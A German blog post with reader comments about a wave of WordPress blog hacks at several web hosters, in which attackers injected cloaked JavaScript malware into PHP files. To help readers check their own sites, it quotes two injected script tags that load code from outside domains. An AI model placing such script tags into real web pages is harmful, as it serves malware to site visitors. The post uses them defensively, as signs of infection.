Veröffentlicht am von Matthias

Reihenweise WordPress Blogs gehackt

Schlechte Nachrichten für WordPress un einige große Hoster, denn in den letzten Tagen sind wohl reihenweise WordPress Blogs gehackt worden.

Die genaue Ursache, bzw das Sicherheitsloch ist noch nicht genau bekannt, es wird wohl nicht direkt an WordPress liegen, dafür ist die Anzahl an gehackten Seiten einfach zu niedrig. Es betrifft im Moment einige Webhoster, darunter Dreamhost, GoDaddy, Bluehost und Media Temple.

Der Hack fügt ein dann ein Javascript und Malware zum Blog hinzu, gepaart mit einer Browserweiche, so dass man dies nichtmal direkt sehen kann, und auch der Google-Bot sieht dies nicht.

Vermutungen liegen im Moment  haufenweise vor, genaue Infos leider nicht. Im Verdacht der Sicherheitsexperten stehen diverse Plugins und die Hoster selber.

Ein wichtiger Punkt, der eigentlich selbstverständlich sein sollt, ist dabei aber immer im Vordergrund, man sollte dringend das Blog auf die aktuelle Version updaten, wenn man das nicht schon gemacht hat. Weitere Infos zum Thema gibts bei Heise, Sucuri und wpsecuritylock. Beim letzten Link gibts auch ein paar Hinweise wie man ein infiziertes Blog erkennen kann, zB an dem Code hier:

Located in the source code near the bottom of all .php files is the following script:
< script src=“http://zettapetta.com/js.php“>< /script > and
< script src=“http://www.indesignstudioinfo.com/ls.php“>//

Also los, checken ob das eigene Blog infiziert ist, und auf jeden Fall auf die letzte Version updaten!

23 Antworten auf „Reihenweise WordPress Blogs gehackt“

  3. Sind auch andere Systeme betroffen, also keine WordPress Lücke, eher eine System Lücke die ausgenutzt wird. Na ja man darf sich ja nie sicher fühlen^^

  6. Stimmt, man weiss es nie. Und es gibt ja leider immer noch haufenweise faule Webmaster die zu müde sind um auf den aktualisierungsknopf zu drücken..

  7. Erinnert mich irgendwie an den Trojaner den ich mir am Weihnachtsfeiertag gefangen habe. Der hat auch Javascript in alle php und Javascript Dateien hinzugefügt.

  8. WP sollte mal von Haus aus den .htaccess Passwortschutz für wp-admin aktivieren.. wie viele Skripte und Kiddies und Würmer allein dadurch rausgehalten werden.. wahrscheinlich eine ganze Menge
    Habe aber beim Macher der Spambiene vorhin gelesen dass für WP 3.0 integriert wird, dass man den admin Account umbenennen kann, das lässt ja auch viele automatische Angriffe ins Leere laufen wenn die Leute es denn benutzen
    Hilft natürlich alles nix wenn 20 Plugins UND WP nicht auf dem aktuellen Stand sind 😡

  9. Gut gebrüllt Uwe^^ Aber bei einer Serverlücke wo über FTP oder anderem der Mist eingeschleust wird nutzt Dir das alles auch nichts 😉

  10. Deswegen ist mein FTP-Passwort auch soooooooo lang und kompliziert dass ich es mir nicht mal merken könnte selbst wenn ich wollte; der Rest ist Vertrauenssache meinem Hoster gegenüber. Bis jetzt hat das geklappt :mrgreen:

  11. @Uwe Auch das ist nicht alles^^ Der letzte WP Hack zum Beispiel hat sich erstmal auf Deinem System eingenistet und dort die FTP Passwörter Deines FTP Programmes ausgelesen und damit dann WP „verseucht“. Und da Du ja schreibst Du kannst Dir das Passwort nicht mekren, denke ich Du hast diese in Deinem FTP Programm gespeichert, ergo bist Du da schon wieder anfällig.

  13. Nix als Krisen. Erst die Krise des Euro, dann die NRW-Wahl und jetzt auch noch gehackte WordPress – Blogs. Der Frühling ist auch schon wieder weg. Und was passiert jetzt? 😡

  14. Ich hatte ja nochmals Glück gehabt 🙂

    Aber mich verwundert das Ganze nicht, da es vor allem im Ausland viele Hoster gibt, die sich wenig um die Sicherheit ihrer Server kümmern. Wenn die Benutzer zudem ihre Installation (z.B. WordPress) nicht aktualisieren kommt das halt vor.

  16. Wow, da bin ich ja mal froh, dass ich bei meinem Blog immer die neueste Version verwende und auch bei den Sicherheitseinstellungen relativ paranoid bin. Danke für den Hinweis!

  17. Aber ich denke wer sich was eingefangen hat ist selber schuld. Man sollte halt immer schauen das man die aktuelle Version drauf hat. Wer einmal auf die Schnauze gefallen ist wird vorsichtig und handelt vorausschauend.

  18. Die Mehrheit der Blogs wird doch mit Prio 3 betrieben oder ist sowieso tot. Deshalb denke ich, die meisten der gehakten Blogs sind eh‘ irrelevant. Wenn jemand seinen Blog professisonell betreibt, wird mit sowas nicht zu kämpfen haben.

  19. Ich kann nur empfehlen unbedingt immer zu schauen ob der Code noch clean ist!!! Das sollte jeder Blogger mind 1 x im Monat machen…!

  21. Pingback: Mach mit beim FeedAbo Day

  22. Danke für den Hinweis, hab den Code bei meinen Seiten überprüft und bin gott sei Dank nicht betroffen. Hoffe, das ist jetzt sicher.

  23. Ich habe diese Woche leider ähnliches erleben müssen. Allerdings lag das Problem nicht an WordPress, sondern an Filezilla! Meine FTP Passwörter wurden nämlich ausgespäht :-(. Da war es dann eine Leichtigkeit meine WordPress-Dateien zu modifizieren und für Spamzwecke zu missbrauchen. Meine „Leidensgeschichte“: http://mrcrowley.de/testbericht/mr-crowley-gehackt/

    Ich bin richtig sauer!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert